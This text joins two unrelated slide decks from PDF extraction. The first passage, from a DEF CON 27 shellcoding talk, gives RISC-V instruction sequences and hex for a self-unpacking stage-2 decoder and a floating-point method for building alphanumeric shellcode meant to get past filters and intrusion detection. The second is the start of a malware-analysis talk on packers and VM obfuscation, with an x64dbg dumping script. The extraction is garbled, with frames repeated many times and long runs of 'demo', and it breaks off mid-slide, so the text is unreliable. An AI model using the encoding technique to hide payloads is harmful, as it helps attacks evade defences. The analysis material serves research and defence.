00 00 00 00 00 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 0000 0000 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 00 00 00 A0 31 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 0000 0000 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 00 00 00 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 0000 0000 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 00 00 00 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 0000 0000 0000 0000 a0 4000 5971 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 00 00 00 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 00 00 00 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 9714 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 00 00 00 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 970a 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 97 A0 00 05 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 970a 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 97 A0 00 05 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 970a 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks add a4,a4,sp 00 05 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 970a 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks add a4,a4,sp c.nop 1 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 970a 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks add a4,a4,sp c.nop 1 j 12 ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 000c 0000 0000 0000 a0 4000 5971 0000 0000 t1 970a 0005 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 The majik table Make bruteforce great again ⌅ Iterate on all instructions sequences in the form lui, sra, addiw ⌅ Make sure that bytes 2 and 3 are nop-like ⌅ Keep the shortest sequence for each 2-byte value ⌅ Write your stage 2 with the available 2-byte values The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 31 / 42 0f10 0000 a031 ... 7d77 0005 a031 ... 0a97 0005 a031 ... c145 0001 a031 ... 9a05 0001 a031 ... 3a85 0005 a031 ... ba86 0005 a031 ... 4041 0001 a031 ... a287 0005 a031 ... 9183 0001 a031 ... 0905 0001 a031 ... 3d8c 005e a031 ... 00c3 0001 a031 ... 0507 0005 a031 ... f915 0001 a031 ... c1f1 02f2 a031 ... 0f10 0000 a031 ... 8296 0003 a031 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 fence.i jmp 12 ... lui a4,0xfffff c.nop 1 jmp 12 ... add a4,a4,sp c.nop 1 jmp 12 ... li a1,16 nop jmp 12 ... slli a1,a1,0x6 nop jmp 12 ... mv a0,a4 c.nop 1 jmp 12 ... mv a3,a4 c.nop 1 jmp 12 ... lw s0,4(a0) nop jmp 12 ... mv a5,s0 c.nop 1 jmp 12 ... srli a5,a5,0x4 nop jmp 12 ... addi a0,a0,2 nop jmp 12 ... xor s0,s0,a5 c.slli zero,0x17 jmp 12 ... sw s0,0(a4) nop jmp 12 ... addi a4,a4,1 c.nop 1 jmp 12 ... addi a1,a1,-2 nop jmp 12 ... bnez a1,-256 slli t0,t0,0x1c jmp 12 ... fence.i jmp 12 ... jalr a3 n/a jmp 12 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 fence.i jmp 12 ... lui a4,0xfffff c.nop 1 jmp 12 ... add a4,a4,sp c.nop 1 jmp 12 ... li a1,16 nop jmp 12 ... slli a1,a1,0x6 nop jmp 12 ... mv a0,a4 c.nop 1 jmp 12 ... mv a3,a4 c.nop 1 jmp 12 ... lw s0,4(a0) nop jmp 12 ... mv a5,s0 c.nop 1 jmp 12 ... srli a5,a5,0x4 nop jmp 12 ... addi a0,a0,2 nop jmp 12 ... xor s0,s0,a5 c.slli zero,0x17 jmp 12 ... sw s0,0(a4) nop jmp 12 ... addi a4,a4,1 c.nop 1 jmp 12 ... addi a1,a1,-2 nop jmp 12 ... bnez a1,-256 slli t0,t0,0x1c jmp 12 ... fence.i jmp 12 ... jalr a3 n/a jmp 12 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 0f10 0000 a031 ... 7d77 0005 a031 ... 0a97 0005 a031 ... c145 0001 a031 ... 9a05 0001 a031 ... 3a85 0005 a031 ... ba86 0005 a031 ... 4041 0001 a031 ... a287 0005 a031 ... 9183 0001 a031 ... 0905 0001 a031 ... 3d8c 005e a031 ... 00c3 0001 a031 ... 0507 0005 a031 ... f915 0001 a031 ... c1f1 02f2 a031 ... 0f10 0000 a031 ... 8296 0003 a031 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 0f10 0000 a031 ... 7d77 0005 a031 ... 0a97 0005 a031 ... c145 0001 a031 ... 9a05 0001 a031 ... 3a85 0005 a031 ... ba86 0005 a031 ... 4041 0001 a031 ... ... c1f1 02f2 a031 ... 0f10 0000 a031 ... 8296 0003 a031 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 The stage 2 0f10 0000 a031 ... 7d77 0005 a031 ... 0a97 0005 a031 ... c145 0001 a031 ... 9a05 0001 a031 ... 3a85 0005 a031 ... ba86 0005 a031 ... 4041 0001 a031 ... ... c1f1 02f2 a031 ... 0f10 0000 a031 ... 8296 0003 a031 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 The stage 2 0f10 0000 jmp 12 ... 7d77 0005 jmp 12 ... 0a97 0005 jmp 12 ... c145 0001 jmp 12 ... 9a05 0001 jmp 12 ... 3a85 0005 jmp 12 ... ba86 0005 jmp 12 ... 4041 0001 jmp 12 ... ... c1f1 02f2 jmp 12 ... 0f10 0000 jmp 12 ... 8296 0003 jmp 12 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 The stage 2 0f10 0000 jmp 12 ... 7d77 c.nop 1 jmp 12 ... 0a97 c.nop 1 jmp 12 ... c145 nop jmp 12 ... 9a05 nop jmp 12 ... 3a85 c.nop 1 jmp 12 ... ba86 c.nop 1 jmp 12 ... 4041 nop jmp 12 ... ... c1f1 slli t0,t0,0x1c jmp 12 ... 0f10 0000 jmp 12 ... 8296 n/a jmp 12 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 The stage 2 fence.i jmp 12 ... lui a4,0xfffff c.nop 1 jmp 12 ... add a4,a4,sp c.nop 1 jmp 12 ... li a1,16 nop jmp 12 ... slli a1,a1,0x6 nop jmp 12 ... mv a0,a4 c.nop 1 jmp 12 ... mv a3,a4 c.nop 1 jmp 12 ... lw s0,4(a0) nop jmp 12 ... ... bnez a1,-256 slli t0,t0,0x1c jmp 12 ... fence.i jmp 12 ... jalr a3 n/a jmp 12 ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 32 / 42 http://givemerootaccess/: /Demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo /demo The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 33 / 42 Fish’n’chips: Floating points for a ticking bomb The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 34 / 42 Fish’n’chips: Floating points for a ticking bomb ´ (tick) gives us floating point stores! The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 34 / 42 Fish’n’chips: Adapt our architecture Stage 1 init forward jump encoded payload Penc Unpacker U Stage 2 (unpacked by U) The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 35 / 42 Fish’n’chips: Adapt our architecture 63 52 0 Sign Exponent Mantissa The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 36 / 42 Fish’n’chips: Adapt our architecture 63 52 0 Sign Exponent Mantissa F = ±mantissa ◊ 2exponent The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 36 / 42 Fish’n’chips: Adapt our architecture 63 52 0 Sign Exponent Mantissa F = ±mantissa ◊ 2exponent ⌅ Load some floating point value from memory into a register (alphanumeric binary representation) ⌅ Do some computation ⌅ Register now contains a chunk of our Stage 2, store it to memory The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 36 / 42 Fish’n’chips: Adapt our architecture 63 52 0 Sign Exponent Mantissa F = ±mantissa ◊ 2exponent ⌅ Load some floating point value from memory into a register (alphanumeric binary representation) ⌅ Do some computation ⌅ Register now contains a chunk of our Stage 2, store it to memory Some? The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 36 / 42 Fish’n’chips: What are our tools? ⌅ Floating point loads fld ⌅ Floating point stores fsw, fsd, fsq ⌅ Quad to double conversion fcvt.d.q ⌅ Sign manipulation fabs.q, fsgnjx.q ⌅ Fused multiply-add variants fmadd, fmsub, fmnadd, fmnsub The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 37 / 42 Fish’n’chips: What are our tools? ⌅ Floating point loads fld ⌅ Floating point stores fsw, fsd, fsq ⌅ Quad to double conversion fcvt.d.q ⌅ Sign manipulation fabs.q, fsgnjx.q ⌅ Fused multiply-add variants fmadd, fmsub, fmnadd, fmnsub Fused multiply add R := ±A ◊ B ± C fmsub.d ft6, fs2, ft4, fa0 ft6 := fs2 ◊ ft4 ≠ fa0 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 37 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD FMA A B C R The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) FMA A1UUUUUU A 0x4131555555555555 B C R The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) 2. Bruteforce on multiplication (Draw randomized B’s) FMA A1UUUUUU A 0x4131555555555555 A1QOZ9p1 B 0x4131514f5a397031 C R The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) 2. Bruteforce on multiplication (Draw randomized B’s) 3. Solve on addition (÷ an alnum C?) FMA A1UUUUUU A 0x4131555555555555 A1QOZ9p1 B 0x4131514f5a397031 Bbz C 0x42627a7ebc84e484 R The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) 2. Bruteforce on multiplication (Draw randomized B’s) 3. Solve on addition (÷ an alnum C?) FMA A1UUUUUU A 0x4131555555555555 A1ViCkaB B 0x41315669436b6142 C R The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) 2. Bruteforce on multiplication (Draw randomized B’s) 3. Solve on addition (÷ an alnum C?) FMA A1UUUUUU A 0x4131555555555555 A1ViCkaB B 0x41315669436b6142 BboqCCZ6 C 0x42626f7143435a36 R 0x427c00000000abcd The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) 2. Bruteforce on multiplication (Draw randomized B’s) 3. Solve on addition (÷ an alnum C?) Great news We get all 16 bit values! FMA A1UUUUUU A 0x4131555555555555 A1ViCkaB B 0x41315669436b6142 BboqCCZ6 C 0x42626f7143435a36 R 0x427c00000000abcd The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: Arbitrary binary values We want to store 0xABCD 1. Fix A (for whole Stage 1) 2. Bruteforce on multiplication (Draw randomized B’s) 3. Solve on addition (÷ an alnum C?) Great news We get all 16 bit values! Greater news We get all 48 bit values! FMA A1UUUUUU A 0x4131555555555555 A1ViCkaB B 0x41315669436b6142 BboqCCZ6 C 0x42626f7143435a36 R 0x427c00000000abcd The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 38 / 42 Fish’n’chips: ’Demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo ’demo The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 39 / 42 666. Conclusion The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 40 / 42 Conclusion a. The yoga of writing constrained shellcodes I Avoid filters, fool IDS and humans, target specific apps I x86/x86 64 has a mature tooling environment, but it’s mostly laptops/servers b. RISC-V is gaining momentum and we need to keep up I We show that it is possible to write alphanumeric (with #, /, or ’) shellcodes even on very constrained instruction sets I Automatically. For arbitrary shellcodes. c. More than tricks and techniques I The methods can be transported to other architectures, everything is detailed in the paper “RISC-V: #AlphanumericShellcoding”, all the code is open source The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 41 / 42 That’s all folks Now get hashing and slashing and ticking for fun and profit! Code and documentation on: https://xn--fda.fr/riscv-alphanumeric-shellcoding/ Short link: bit.do/riscv Your friendly neighbourhood hackers [email protected] [email protected] [email protected] The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 42 / 42
pdf
1" MODERN MALWARE: OBFUSCATION AND EMULATION DEF"CON"CHINA"1.0"(2019)" DEF CON CHINA 1.0 (2019) by Alexandre Borges ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 2" ü  Malware and Security Researcher. " ü  Speaker at DEFCON USA 2018 ü  Speaker at HITB 2019 Amsterdam ü  Speaker at CONFidence Conf. 2019 ü  Speaker at BSIDES 2018/2017/2016 ü  Speaker at H2HC 2016/2015 ü  Speaker at BHACK 2018 ü  Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rookits. " ü  Reviewer member of the The Journal of Digital Forensics, Security and Law." ü Referee on Digital Agenda: " v  Introduction v  Anti-reversing v  METASM v  MIASM v  TRITON v  Radare2 + MIASM v  DTRACE on Windows v  Anti-VM v  Conclusion ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "INTRODUCTION DEF"CON"CHINA"1.0"(2019)" 3" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 4" ü  Every single day we handle malware samples that use several known packers such as ASPack, Armadillo, Petite, FSG, UPX, MPRESS, NSPack, PECompact, WinUnpack and so on. For most of them, it is easy to write scripts to unpack them. ü  We also know the main API functions, which are used to create and allocate memory such as: ü  VirtualAlloc/Ex( ) ü  HeapCreate( ) / RtlCreateHeap( ) ü  HeapReAlloc( ) ü  GlobalAlloc( ) ü  RtlAllocateHeap( ) ü  Additionally, we know how to unpack them using debuggers, breakpoints and dumping unpacked content from memory. Furthermore, pe-sieve from Hasherezade is excellent. J ü  When we realize that the malware use some customized packing techniques, it is still possible to dump it from memory, fix the ImageAddress field using few lines in Python and its respective IAT using impscan plugin to analyze it in IDA Pro: ü  export VOLATILITY_PROFILE=Win7SP1x86 ü  python vol.py -f memory.vmem procdump -p 2096 -D . --memory (to keep slack space) ü  python vol.py -f memory.vmem impscan --output=idc -p 2096 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 5" //############################################################# // FileName : dumpexe.txt (first draft) // Comment : Dump memory segments containing executables // Author : Alexandre Borges // Date : today //############################################################# entry: msg "Program to dump modules containing executables." msg "You must be at EP before continuing" bc // Clear existing breakpoints bphwc // Clear existing hardbreakpoints bp VirtualAlloc // Set up a breakpoint at VirtualAlloc erun // run and pass all first exceptions to the application core: sti // Single-step sti // Single-step sti // Single-step sti // Single-step sti // Single-step x64dbg script 1/3 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 6" find cip,"C2 1000“ // find the return point of VirtualAlloc bp $result // set a breakpoint erun // run and pass all first exceptions to the application cmp eax,0 // test if eax (no allocated memory) is equal to zero je pcode // jump to pcode label bpm eax,0,x // set executable memory breakpoint and restore it once hit. erun // run and pass all first exceptions to the application //try to find if there is the “This program” string within the module’s memory. findall $breakpointexceptionaddress,"546869732070726F6772616D” cmp $result,0 // check if there isn’t any hit je pcode // jump to pcode label $dumpaddr = mem.base($breakpointexceptionaddress) //find the memory base. $size = mem.size($breakpointexceptionaddress) //find the size of memory base. savedata :memdump:,$dumpaddr,$size //dump the segment. msgyn "Memory dumped! Do you want continue?“ //show a dialog cmp $result,1 //check your choice je scode // jump to scode label bc // clear existing breakpoints bphwc // clear existing hardware breakpoints ret // exit x64dbg script 2/3 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 7" pcode: msgyn "There isn't a PE file! Do you want continue?" cmp $result,0 // check if we don’t want continue je final sti //single step. erun // run and pass all first exceptions to the application jmp core // jump to core label scode: msg "Let's go to next dump“ // shows a message box erun // run and pass all first exceptions to the application jmp core // jump to core label final: bc // clear existing breakpoints bphwc // clear existing hardware breakpoints ret // exit ! x64dbg script 3/3 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" "ANTI-REVERSING DEF"CON"CHINA"1.0"(2019)" 8" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019" 9" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Obfuscation aims to protect software of being reversed, intellectual property and, in our case, malicious code too. J Honestly, obfuscation does not really protect the program, but it can make the reverser’s life harder than usual. ü  Thus, at end, obfuscation buys time by enforcing reversers to spend resources and time to break a code. ü  We see obfuscated code every single day when we analyze commom userland malware, droppers written in VBA and Powershell, so it mightn’t seem to be a big deal. ü  We can use IDA Pro SDK to write plugins to extend the IDA Pro functionalities, analyze some code and data flow and even automatizing unpacking of strange malicious files. ü  Additionally, if you are facing problems to analyze a modified MBR, so you could even write a loader to load the MBR structure and analyze it in IDA Pro. J ü  Unfortunately, there are packers and protectors such as VMprotect, Themida, Arxan and Agile .NET that use modern obfuscation techniques, so making the procedure of reversing a code very complicated. DEF"CON"CHINA"1.0"(2019)" 10" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü Most protectors have used with 64-bit code (and malware). ü Original IAT is removed from the original code (as usually applied by any packer). However, IAT from packers like Themida keeps only one function (TlsSetValue). ü Almost all of them provide string encryption. ü They protect and check the memory integrity. Thus, it is not possible to dump a clean executable from the memory (using Volatility, for example) because original instructions are not decoded in the memory. ü Instructions (x86/x64 code) are virtualized and transformed into virtual machine instructions (RISC instruction). ü .NET protectors rename classes, methods, fields and external references. DEF"CON"CHINA"1.0"(2019)" 11" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü Some packers can use instruction encryption on memory as additional memory layer. ü Obfuscation is stack based, so it is hard to handle virtualized code statically. ü Virtualized code is polymorphic, so there are many representations referring the same CPU instruction. ü There are also fake push instructions. ü There are many dead and useless codes. ü There is some code reordering using unconditional jumps. ü All obfuscators use code flattening. ü Packers have few anti-debugger and anti-vm tricks. However, few months ago, I saw a not so common anti-vmware trick based on temperature (more about it later). DEF"CON"CHINA"1.0"(2019)" 12" int defcon(int x) “Virtualizer” (bytecodes) vm_call_1(opcodes, x) Fetches bytes, decodes them to instructions and dispatches them to handlers v  Protectors using virtual machines introduces into the obfuscated code: ü  A context switch component, which “transfers” registry and flag information into VM context (virtual machine). The oposite movement is done later from VM machine and native (x86/x64) context (suitable to keep within C structures during unpacking process J) ü  This “transformation” from native register to virtualized registers can be one to one, but not always. ü  Inside of the virtual machine, the cycle is: ü  fetch instruction ü  decode it ü  find the pointer to instruction and lookup the associate opcode in a handler table ü  call the target handler ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 13" ü  Few interesting concepts: ü  Fetching: the instruction to be executed by Virtual Machine is fetched. ü  Decoding: the target x86 instruction is decoded using rules from Virtual Machine (remember: usually, the architecture is usually based on RISC instructions) ü  Dispatcher: Once the handler is determined, so jump to the suitable handler. Dispatchers could be made by a jump table or switch case structure. ü  Handler: In a nutshell, a handler is the implementation of the Virtual Machine instruction set. ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 14" B C H D DISPATCHER A I G F E 2 3 Instruction decoder Instruction A, B, C, ... are handlers such as handler_add, handler_sub, handler_push... Opcodes from a custom instruction set. ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" Initialization Fetch Decode RVA à RVA + process base address and other tasks. Instructions are stored in an encrypted format. DEF"CON"CHINA"1.0"(2019)" 15" opcode 1 opcode 2 opcode 3 opcode 4 opcode 7 opcode 5 opcode 6 handler 1 handler 2 handler 3 handler 4 handler 7 handler 5 handler 6 function pointer 1 function pointer 2 function pointer 3 function pointer 4 function pointer 7 function pointer 5 function pointer 6 ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" function pointer table (likely encrypted) encr_1 encr_n encr_2 encr_3 encr_5 encr_4 ... 1 2 3 4 5 n-1 n vm_add vm_n vm_sub vm_xor vm_push vm_pop ... decrypted instruction s encrypted instruction s indexes recovering and decrypting funcions DEF"CON"CHINA"1.0"(2019)" 16" ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" ü  Is it easy to reverse virtualized and packed code? Certainly, it is not. The number of challenges might be huge J ü  Remember: obfuscating is transforming a code from A to B by using any tricks (including virtualization). ü  It is not so easy to identify whether the program is virtualized or not. ü  Handlers, which are independent of one each other, usually set up: ü  registers ü  a encryption key ü  memory ALEXANDRE"BORGES"–"MALWARE"AND"SECURITY"RESEARCHER" DEF"CON"CHINA"1.0"(2019)" 17" ü  There is usually one handler by instruction type. ü  These handlers are “started” by the VM dispatcher. ü  Instructions’ operands are encrypted using keys (initializing code) provided by handlers. ü  Sometimes, keys have 4 bytes and are xor’ed with operands. J ü  Prologues and epilogues from each function could be not virtualized. Take care. J DEF"CON"CHINA"1.0"(2019)" 18" 